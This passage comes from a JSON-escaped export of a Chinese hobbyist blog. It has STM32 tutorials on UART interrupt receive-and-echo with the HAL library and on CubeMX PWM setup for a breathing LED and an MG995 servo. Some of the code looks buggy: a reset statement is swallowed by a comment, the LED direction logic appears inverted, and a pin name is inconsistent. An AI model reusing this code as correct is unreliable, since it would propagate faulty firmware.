comment\"\u003e// 存储数组\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e调用HAL库的UART接收函数以及发送函数\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e2、3步都可以根据自身要求进行改进\u003c/p\u003e\u003cul\u003e\u003cli\u003e第2步:判断接收结束条件,这个可以根据自己想要接收何种类型的数据而定。本次使用 \u003ccode\u003e回车\u003c/code\u003e 作为判断条件\u003c/li\u003e\u003cli\u003e第3步:数据处理,可以在这一步执行自己想要对数据做的一些操作。本次为将接收到的数据重新发送出去。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 1. 接收数据\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 2. 判断数据结尾\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 3. 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 4. 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置 uLength = 0; //长度清零\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5. 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e完整中断服务程序\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eUSART1_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 判断数据结尾\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//长度清零\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 1 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 1 */\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"查看效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%9F%A5%E7%9C%8B%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"查看效果\"\u003e\u003c/a\u003e查看效果\u003c/h4\u003e\u003cp\u003e编译下载,使用串口查看\u003c/p\u003e\u003cp\u003e默认是不断发送之前的 \u003ccode\u003eHello World !\u003c/code\u003e ,在受到我们发送的数据后,将其再发送,结束后之前运行不受影响。(中断的好处)\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/6.gif\" alt=\"6\" style=\"zoom:67%;\"/\u003e\u003chr/\u003e\u003cp\u003e发送与接收都完成咯,撒花 ~\u003c/p\u003e\u003cp\u003e)这算是搞明白了当时是如何操纵 \u003ccode\u003eStm32\u003c/code\u003e 使用 \u003ccode\u003eAT\u003c/code\u003e 指令与广和通 \u003ccode\u003eL610\u003c/code\u003e 通信了 ~\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(当时没搞明白,对着例程xjb抄,发送功能糊出来了结果最后没有接收功能……令人感慨。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#CubeMX%E5%88%9D%E9%85%8D%E7%BD%AEPWM-amp-%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配置PWM\u0026amp;驱动MG995舵机\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e最近在重学STM32,发现大二上整的像s一样\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-timer-cookbook/\"\u003eBonjour STM32] No.6-定时器简单理解与使用 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42967008/article/details/89267010\"\u003e STM32CubeMX学习笔记1——PWM配置_夏沫不学习的博客-CSDN博客_cubemx配置pwm\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/6151e6d4b207\"\u003eHAL库函数之呼吸灯——PWM波 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/he__yuan/article/details/79195435\"\u003e(37条消息) MG995舵机工作原理及基于STM32的驱动源代码_斜杠青年/的博客-CSDN博客_mg995舵机\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PWM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#PWM\" class=\"headerlink\" title=\"PWM\"\u003e\u003c/a\u003ePWM\u003c/h3\u003e\u003cp\u003e个人理解:PWM就是方波,具体使用的时候改变这玩意的占空比就行。 \u003cspan class=\"diana_biu\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s2.ax1x.com/2019/09/12/nBut8s.gif\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置PWM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E9%85%8D%E7%BD%AEPWM\" class=\"headerlink\" title=\"配置PWM\"\u003e\u003c/a\u003e配置PWM\u003c/h3\u003e\u003cp\u003e要知道 \u003ccode\u003eCNT\u003c/code\u003e (计数器当前值), \u003ccode\u003eARR\u003c/code\u003e (自动重装载值), \u003ccode\u003eCCRx\u003c/code\u003e (捕获/比较寄存器值)\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 小于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出高电平;\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 等于或大于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出低电平;\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s1.ax1x.com/2020/06/13/tjSq39.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e因为目前使用 \u003ccode\u003eSTM32F103C8T6\u003c/code\u003e ,首先设置使用外部时钟,再设置时钟为72Mhz\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/0.webp\" alt=\"3\"/\u003e\u003c/p\u003e\u003cp\u003e直接输入 72 就行,CubeMX 会自动配置\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003cp\u003e然后贴一段参考博客里的: \u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e确定时钟源频率后,我们就可以设置\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e了。按照之前的要求,我们想让定时器的溢出频率为5Hz,则240MHz/5Hz=48M分频。我们知道,一个模值(“容量”)为48M的定时器即可完成此分频,可是我们的\u003cstrong\u003eCNT\u003c/strong\u003e寄存器只有16位,也就是说模值最大设置为65535,远远不够呀。这就是预分频器\u003cstrong\u003ePSC\u003c/strong\u003e存在的意义了,“时钟源太快了,\u003cstrong\u003eCNT\u003c/strong\u003e没有足够的容量来实现较长周期的定时,所以需要预分频器把时钟降慢一些”。所以说,我们把48M拆成2400*20000就可以了。注意实际填入\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e都有一个“-1”,这是因为定时器是从0开始计数的,由0计到239正好是240次。总结一个定时器频率公式,就是这样:\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$f_{TIM}=\\frac{f_{CLK}}{(PSC+1)\\times(ARR+1)}$$\u003c/p\u003e\u003cp\u003e改变占空比只需要改变对应计时器的 CCRx 就行\u003c/p\u003e\u003cp\u003e$$Duty_x=\\frac{CCRx}{ARR}$$\u003c/p\u003e\u003cp\u003e因为 MG995 电机需要一个20ms的时基脉冲,所以需要频率50Hz,为我们设置 \u003ccode\u003ePSC=7200-1\u003c/code\u003e \u003ccode\u003eARR=200-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e72000000/7200/200=50\u003c/code\u003e\u003c/p\u003e\u003cp\u003e所以计数器每次 \u003ccode\u003e+1\u003c/code\u003e 的时间为 \u003ccode\u003e20ms/ARR=20ms/200=0.1ms\u003c/code\u003e\u003c/p\u003e\u003cp\u003e在CubeMX配置如下\u003c/p\u003e\u003cp\u003e设置 TIM3 定时器 ,只用一个通道就行,设置为 PWM模式,默认是 GPIOA16 管脚\u003c/p\u003e\u003cimg src=\"http://http/img/posts/mg995/5.webp\" alt=\"5\" style=\"zoom:80%;\"/\u003e\u003ch3 id=\"先点个灯\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%85%88%E7%82%B9%E4%B8%AA%E7%81%AF\" class=\"headerlink\" title=\"先点个灯\"\u003e\u003c/a\u003e先点个灯\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e历时108个秒,我做出了苹果手机没有的功能,呼吸灯\u003c/del\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e呼吸灯的呼吸,就是灯的强弱状态,改变 PWM 的占空比便可调整\u003c/p\u003e\u003cp\u003e具体配置和前面差不多,这里设置为 \u003ccode\u003eARR=500\u003c/code\u003e\u003c/p\u003e\u003cp\u003e 改变 CRRx 的两种方式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//ld1_duty 为我们设置的CCRx具体数值\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法一,直接操作\u003c/span\u003eTIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e ld1_duty\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法二,使用库函数\u003c/span\u003e\u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"主要代码为\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E4%B8%BB%E8%A6%81%E4%BB%A3%E7%A0%81%E4%B8%BA\" class=\"headerlink\" title=\"主要代码为\"\u003e\u003c/a\u003e主要代码为\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略一堆初始化函数\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 记录变强还是变弱\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 相当于CNT\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式 \u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变强状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变弱状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由强变弱\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由弱变强\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan 